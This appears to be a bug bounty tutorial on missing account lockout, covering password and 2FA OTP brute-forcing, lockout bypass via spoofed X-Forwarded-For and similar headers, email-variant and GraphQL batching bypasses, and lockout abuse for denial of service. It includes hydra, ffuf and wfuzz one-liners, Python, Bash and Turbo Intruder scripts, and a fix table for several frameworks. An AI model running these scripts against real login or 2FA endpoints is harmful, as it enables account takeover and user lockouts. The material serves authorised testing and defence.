Inadequate Account Lockout β
Brute-Force, IP Bypass & 2FA OTP Cracking
Inadequate Account Lockout occurs when a web application or API fails to limit the number of failed authentication attempts β allowing attackers to brute-force passwords, bypass 2FA OTP codes, enumerate reset tokens, and perform credential stuffing at full speed with zero resistance. One of the most beginner-friendly yet critically impactful vulnerabilities in bug bounty.
π What is Inadequate Account Lockout?
Inadequate Account Lockout falls under OWASP A07:2021 β Identification and Authentication Failures. It describes the complete absence β or trivially bypassable implementation β of mechanisms that restrict repeated failed authentication attempts on login, 2FA, password reset, and other authentication endpoints.
Inadequate Account Lockout β Unlimited login attempts with no throttle, no 429, no lockout
Inadequate Account Lockout is not one flaw β it is a family of missing protections. The API may have no lockout at all. Or it may have a lockout, but only on the IP β which attackers bypass by spoofing the X-Forwarded-For header. Or only on the username β which distributed attacks sidestep. Each bypass variant is its own CRITICAL finding.
π― Lockout Bypass Types
Understanding the bypass landscape is essential β every application implements lockout differently, and each implementation has its own weaknesses to probe:
π Quick Reference Table
| Field | Details |
|---|---|
| Vulnerability | Inadequate Account Lockout |
| Also Known As | Missing Brute-Force Protection, No Rate Limiting on Auth, Insufficient Login Throttling |
| OWASP | A07:2021 β Identification and Authentication Failures | API4:2023 β Unrestricted Resource Consumption |
| CVSS Score | 7.5β9.0 (HIGH to CRITICAL depending on context and bypass) |
| Severity | CRITICAL (no lockout / IP bypass) | HIGH (per-IP only) |
| Difficulty | Beginner β curl loop or Burp Repeater is enough to confirm |
| Key Headers | X-Forwarded-For, X-Real-IP, True-Client-IP, CF-Connecting-IP, X-Originating-IP |
| Key Endpoints | /login, /api/auth/token, /2fa/verify, /forgot-password, /reset-password, /api/v1/login |
| Tools | Burp Suite Intruder, Turbo Intruder, Hydra, ffuf, wfuzz, Python requests, curl |
| Chaining | No Lockout β ATO β IDOR β Privilege Escalation β Admin RCE |
| Real-World | Dropbox 2012 (credential stuffing), GitHub 2016 forced reset, multiple HackerOne CRITICAL reports |
| Practice | PortSwigger Brute-Force Labs, DVWA Brute Force module, TryHackMe Auth Bypass |
π£ Payload & Header Reference
These payloads test all dimensions of Inadequate Account Lockout β from straightforward repeated wrong passwords to header-injection lockout resets and email-variant username bypasses:
| Payload / Header | Category | What It Tests | Severity |
|---|---|---|---|
| wrongpass1β¦wrongpass50 | Repeated failures | Confirms no lockout after 50 attempts | CRITICAL |
| X-Forwarded-For: 1.2.3.4 | IP spoof header | Bypass per-IP lockout via trusted proxy header | CRITICAL |
| X-Real-IP: 127.0.0.1 | Localhost spoof | App trusts proxy headers blindly, resets counter | CRITICAL |
| True-Client-IP: x | Akamai CDN header | CDN-trusted header accepted unvalidated | HIGH |
| CF-Connecting-IP: x | Cloudflare header | Bypasses CF-level rules via trusted header | HIGH |
| user+1@test.com | Plus-alias variant | Bypass per-username lockout with email alias | HIGH |
| USER@TEST.COM | Uppercase variant | Case-insensitive bypass of username counter | HIGH |
| 000000β¦000029 (OTP) | 2FA OTP brute | No lockout on /2fa/verify endpoint | CRITICAL |
| aaaβ¦zzz (reset token) | Token enumeration | Weak short tokens brute-forced without rate limit | CRITICAL |
| Forwarded: for=1.2.3.4 | RFC 7239 header | Standard forwarded header accepted by frameworks | HIGH |
| X-Originating-IP: x | Legacy proxy header | Older apps trust this header for IP identification | HIGH |
| {} empty body | Null credentials | Some parsers fail open on null/empty auth bodies | MEDIUM |
π οΈ Manual Testing β Step by Step
Always use your own registered test accounts. In bug bounty programs, limit attempts to 20β30 to confirm the finding β triggering full brute-force against real users may breach scope. Never target real users’ accounts.
Phase 1 β Enumerate All Auth Endpoints
/api/v1/login, /api/auth/token, /mobile/login β these frequently lack protections that the web UI has. Test each independently.X-RateLimit-*, Retry-After) on a normal failed login.Phase 2 β 50-Attempt Lockout Verification
The definitive test for Inadequate Account Lockout β send 50 consecutive wrong-password requests to your test account:
POST /api/login HTTP/1.1 Host: target.com Content-Type: application/json {"email":"mytest@test.com","password":"wrongpassword_ATTEMPT_N"} # Response interpretation: # All 401 after 50 attempts β NO LOCKOUT β CRITICAL β # 429 at attempt N β Rate limit β note threshold N # 423 / lockout message β Account lockout (note attempt count) # Headers to check for ABSENCE (absence = vulnerable): X-RateLimit-Limit: # (not present) X-RateLimit-Remaining: # (not present) Retry-After: # (not present)
Phase 3 β IP Bypass via Header Spoofing
If lockout triggers, immediately test whether it is IP-based and bypassable via trusted proxy headers:
# Step 1: Trigger lockout normally (5 wrong attempts) POST /api/login HTTP/1.1 Host: target.com Content-Type: application/json {"email":"mytest@test.com","password":"wrong"} # β 429 Too Many Requests (locked) # Step 2: Add spoofed IP header and retry: POST /api/login HTTP/1.1 Host: target.com X-Forwarded-For: 203.0.113.1 Content-Type: application/json {"email":"mytest@test.com","password":"wrong"} # β 401 (not 429)? β BYPASS CONFIRMED β CRITICAL # Test all these headers in sequence: X-Forwarded-For: 203.0.113.1 X-Real-IP: 203.0.113.1 X-Originating-IP: 203.0.113.1 True-Client-IP: 203.0.113.1 CF-Connecting-IP: 203.0.113.1 Forwarded: for=203.0.113.1
If X-Forwarded-For resets the lockout counter, no VPN or proxy is needed. An attacker simply increments the header value (1.1.1.1, 1.1.1.2, 1.1.1.3β¦) across every request β achieving infinite brute-force with a single script. This is a standalone CRITICAL finding even if a lockout exists.
Phase 4 β 2FA OTP Lockout Test
POST /api/2fa/verify request in Burp Suite with your session token.000000, 000001, 000002β¦ through 000019. If all return 401 (not 429 or lockout), the 2FA endpoint has no protection.Phase 5 β Email Variant Lockout Bypass
# Lock account with 5 attempts on primary email: {"email":"victim@test.com","password":"wrong"} β locked # Try these variants β all should resolve to the same account: {"email":"VICTIM@TEST.COM","password":"wrong"} β 401? = BYPASS {"email":"victim+x@test.com","password":"wrong"} β 401? = BYPASS {"email":" victim@test.com","password":"wrong"} β 401? = BYPASS {"email":"victim@TEST.com","password":"wrong"} β 401? = BYPASS # Any variant returning 401 (not locked) confirms # per-username lockout can be bypassed via normalization
π§ Tools & Automation
Intercept β Send to Intruder β Sniper on password β Load list β Attack
Extensions β Turbo Intruder β send 1000 req/sec for OTP brute-force
hydra -l user@test.com -P rockyou.txt target.com http-post-form "/login:..."
pip install requests && python3 lockout_test.py
ffuf -w passwords.txt -X POST -d '{"password":"FUZZ"}' -u /login -mc 200
wfuzz -c -z range,0-999999 -d '{"otp":"FUZZ"}' https://target.com/2fa
π» Scripts & Code
Python β Full Lockout Detector with Header Analysis
import requests, json, time LOGIN_URL = 'https://target.com/api/login' TEST_EMAIL = 'mytest@mytest.com' # YOUR OWN account MAX = 50 locked = False headers = {'Content-Type': 'application/json'} for i in range(1, MAX+1): body = json.dumps({'email': TEST_EMAIL, 'password': f'wrongpass_{i}'}) r = requests.post(LOGIN_URL, headers=headers, data=body) rl = r.headers.get('X-RateLimit-Remaining', 'ABSENT') ra = r.headers.get('Retry-After', 'ABSENT') print(f'[{i:02d}] HTTP {r.status_code} | RL-Remaining:{rl} | Retry-After:{ra}') if r.status_code == 429: print(f'[+] Rate limit at attempt {i} β threshold confirmed'); locked=True; break if 'lock' in r.text.lower() or 'block' in r.text.lower(): print(f'[+] Lockout message at attempt {i}'); locked=True; break time.sleep(0.3) if not locked: print(f'[!!!] NO LOCKOUT after {MAX} attempts β CRITICAL FINDING')
Python β IP Header Spoof Bypass Tester
import requests, json LOGIN_URL = 'https://target.com/api/login' TEST_EMAIL = 'mytest@mytest.com' BASE_HDR = {'Content-Type': 'application/json'} BODY = json.dumps({'email': TEST_EMAIL, 'password': 'wrongpass'}) SPOOF_HEADERS = [ 'X-Forwarded-For', 'X-Real-IP', 'X-Originating-IP', 'True-Client-IP', 'CF-Connecting-IP', 'X-Client-IP' ] # Step 1: Trigger lockout (10 attempts) print('[*] Triggering lockout...') for _ in range(10): requests.post(LOGIN_URL, headers=BASE_HDR, data=BODY) # Step 2: Test each spoof header print('[*] Testing IP spoof bypass headers:') for hdr in SPOOF_HEADERS: spoofed = {**BASE_HDR, hdr: f'10.0.0.{SPOOF_HEADERS.index(hdr)+1}'} r = requests.post(LOGIN_URL, headers=spoofed, data=BODY) result = '[BYPASS CONFIRMED]' if r.status_code == 401 else '[still blocked]' print(f' {hdr}: HTTP {r.status_code} {result}')
Bash β Quick 30-Attempt Lockout Verification
#!/bin/bash β use YOUR OWN test account only URL='https://target.com/api/login' EMAIL='test@mytest.com' for i in $(seq 1 30); do CODE=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$URL" \ -H 'Content-Type: application/json' \ -d "{\"email\":\"$EMAIL\",\"password\":\"wrongpass$i\"}") echo "Attempt $i: HTTP $CODE" [ "$CODE" = "429" ] && { echo '[+] Rate limit found'; exit 0; } done echo '[!!!] NO LOCKOUT β CRITICAL'
π· Burp Suite Guide
Step 1 β Capture Login Request
X-RateLimit-Limit, X-RateLimit-Remaining, and Retry-After headers is supporting evidence β screenshot and include in report.Step 2 β Intruder for Full Confirmation
# Send request to Intruder (Ctrl+I) # Positions tab β Clear Β§ β highlight password value β Add Β§ {"email":"mytest@test.com","password":"Β§wrongpassΒ§"} # Payloads tab: # Type: Simple list # Load: /usr/share/wordlists/rockyou.txt (top 100) # OR: Numbers 1β100 (wrongpass1, wrongpass2...) # Resource Pool: Max concurrent = 1, delay = 300ms # Start Attack β sort by Status: # All 401 β NO LOCKOUT β CRITICAL # 200 OK β ATO found # For IP bypass: add header in Intruder "Request headers" tab: # X-Forwarded-For: Β§FUZZΒ§ with number payload 1β100
Step 3 β Turbo Intruder for OTP Brute-Force
# Extensions β Turbo Intruder β right-click 2FA request β Send to Turbo Intruder # In script editor, use this template: def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5) for code in range(0, 30): # test first 30 OTPs engine.queue(target.req, str(code).zfill(6)) def handleResponse(req, interesting): if req.status == 200 or 'success' in req.response: table.add(req) # Payload position in request body: {"otp":"Β§FUZZΒ§"} # If all return 401 after 30 attempts β NO 2FA LOCKOUT β CRITICAL
β‘ Advanced Techniques
Technique 1 β GraphQL Batch Attack Bypasses REST Rate Limit
# REST endpoint may have rate limiting. GraphQL often does not. POST /graphql HTTP/1.1 Content-Type: application/json {"query": "mutation { a1: login(email:\"t@t.com\", password:\"wrong1\") { token } a2: login(email:\"t@t.com\", password:\"wrong2\") { token } a3: login(email:\"t@t.com\", password:\"wrong3\") { token } ... a50: login(email:\"t@t.com\", password:\"wrong50\") { token } }"} # 50 login attempts = 1 HTTP request = 1 rate-limit count # Effective rate: 50Γ bypass of any per-request throttle # All return errors without lockout? β CRITICAL
Technique 2 β Account Lockout as Denial-of-Service
# If lockout is PERMANENT (not time-based), it can be weaponized: # 1. Enumerate valid emails via error message differences # 2. Send 5 wrong-password requests per valid account # 3. Lock out ALL users β platform-wide DoS # Test: is your own lockout time-based or permanent? # Time-based (good): account auto-unlocks after 15 min # Permanent (bad) : requires manual admin intervention # Also test: do lockout errors reveal account existence? "This account is locked" β reveals valid email "Invalid credentials" β uniform message (secure)
Technique 3 β Distributed Credential Stuffing (No Per-Account Lockout)
When lockout is per-IP only, distributed attacks from many IPs trivially bypass it:
| Lockout Type | Bypass Method | Severity |
|---|---|---|
| Per-IP only | Rotate IPs (VPN, proxy, cloud) β each IP gets N fresh attempts | CRITICAL |
| Per-username only | Distribute across many IPs β each IP sends 1 attempt per user | CRITICAL |
| X-Forwarded-For trusted | Increment header value β no real IP rotation needed | CRITICAL |
| Both per-IP + per-user | CAPTCHA bypass or slow/low attack over long period | HIGH |
| CAPTCHA only | CAPTCHA-solving APIs ($1/1000 solves), no actual lockout | HIGH |
π‘οΈ Framework Secure Fix Reference
| Framework | β Vulnerable | β Secure Fix |
|---|---|---|
| Node.js | app.post(‘/login’, handler) // no limit | express-rate-limit: windowMs:15min, max:10 per IP+account combined |
| Django | # No lockout β plain login view | django-axes: AXES_FAILURE_LIMIT=5, AXES_COOLOFF_TIME=1 (hour) |
| Laravel | Route::post(‘/login’, …) // no throttle | ->middleware(‘throttle:5,1’) per route |
| Spring Boot | Plain UserDetailsService, no lockout | Implement AccountStatusUserDetailsChecker + lockoutAfter=5 in SecurityConfig |
| Ruby on Rails | # devise without :lockable module | devise :lockable, maximum_attempts:5, unlock_in:1.hour |
| Go | // Auth direct from DB, no counter | Redis INCR per user+IP key, EXPIRE 900, return 429 after count > 5 |
| PHP | // No rate limiting applied | Illuminate\Cache\RateLimiter: if tooManyAttempts($key, 5) abort(429) |
π Real Bug Chains
β Key Takeaways
Inadequate Account Lockout is not just “no lockout.” It is the entire class of missing or bypassable authentication throttling: no lockout, IP-only lockout (bypassable via header spoofing), per-username only (bypassable via distribution), missing 2FA lockout, and GraphQL bypasses. Every auth endpoint must be tested independently.
- Always test the raw API endpoint independently β web UI protections frequently don’t apply to
/api/v1/loginor the mobile API. - If lockout exists, immediately test X-Forwarded-For header injection β IP-based lockout is the most common and most commonly bypassable implementation.
- The 2FA /verify endpoint is a separate test β missing OTP lockout defeats the entire two-factor authentication mechanism (CRITICAL).
- Test GraphQL login mutations separately from REST endpoints β batching allows 50 login attempts per HTTP request, bypassing per-request throttle.
- Permanent lockout (non-time-based) is itself a DoS vulnerability β report both dimensions if you find it.
- Absence of
X-RateLimit-Limit,X-RateLimit-Remaining, andRetry-Afterheaders is strong supporting evidence β always include in the report. - Per-IP lockout without per-account lockout is bypassable via IP rotation even without real proxy infrastructure β document both dimensions.
- Email case variants (
USER@TEST.COM,user+x@test.com) can bypass per-username counters β always test normalization edge cases. - Document the exact attempt number where lockout should trigger vs. where it actually triggers (or doesn’t) β makes the report clear and undeniable.
- Chain Inadequate Account Lockout with IDOR or Privilege Escalation for a CRITICAL combined report with significantly higher bounty potential.
A HackerOne researcher found that a fintech platform’s /api/v1/login had zero rate limiting and a working X-Forwarded-For bypass. Using Burp Turbo Intruder, they demonstrated 10,000 attempts in 5 minutes with no lockout. The IP spoof header reset the counter every time. Combined report: No Lockout + IP Bypass. Bounty awarded: $4,200 (CRITICAL).
Title: “Inadequate Account Lockout + X-Forwarded-For IP Bypass Enables Unlimited Brute-Force Authentication Attack”
Include: 1) Attempt log β 50 consecutive 401s with no lockout. 2) X-Forwarded-For bypass PoC. 3) Python script output as evidence. 4) Screenshot showing absence of all rate-limit headers. 5) CVSS 9.0 score calculation. 6) Recommended fix: Redis-backed per-account counter, lockout at 5 attempts, exponential backoff, CAPTCHA after 3 failures, email alert on lockout, SIEM logging.
π Learn More
- OWASP A07:2021 β Identification and Authentication Failures
- PortSwigger Web Academy β Brute-Force Attack Labs
- SecLists GitHub β Password & Username Wordlists
- TryHackMe β Authentication Bypass Room
- HackTheBox β Practice Auth Vulnerability Machines

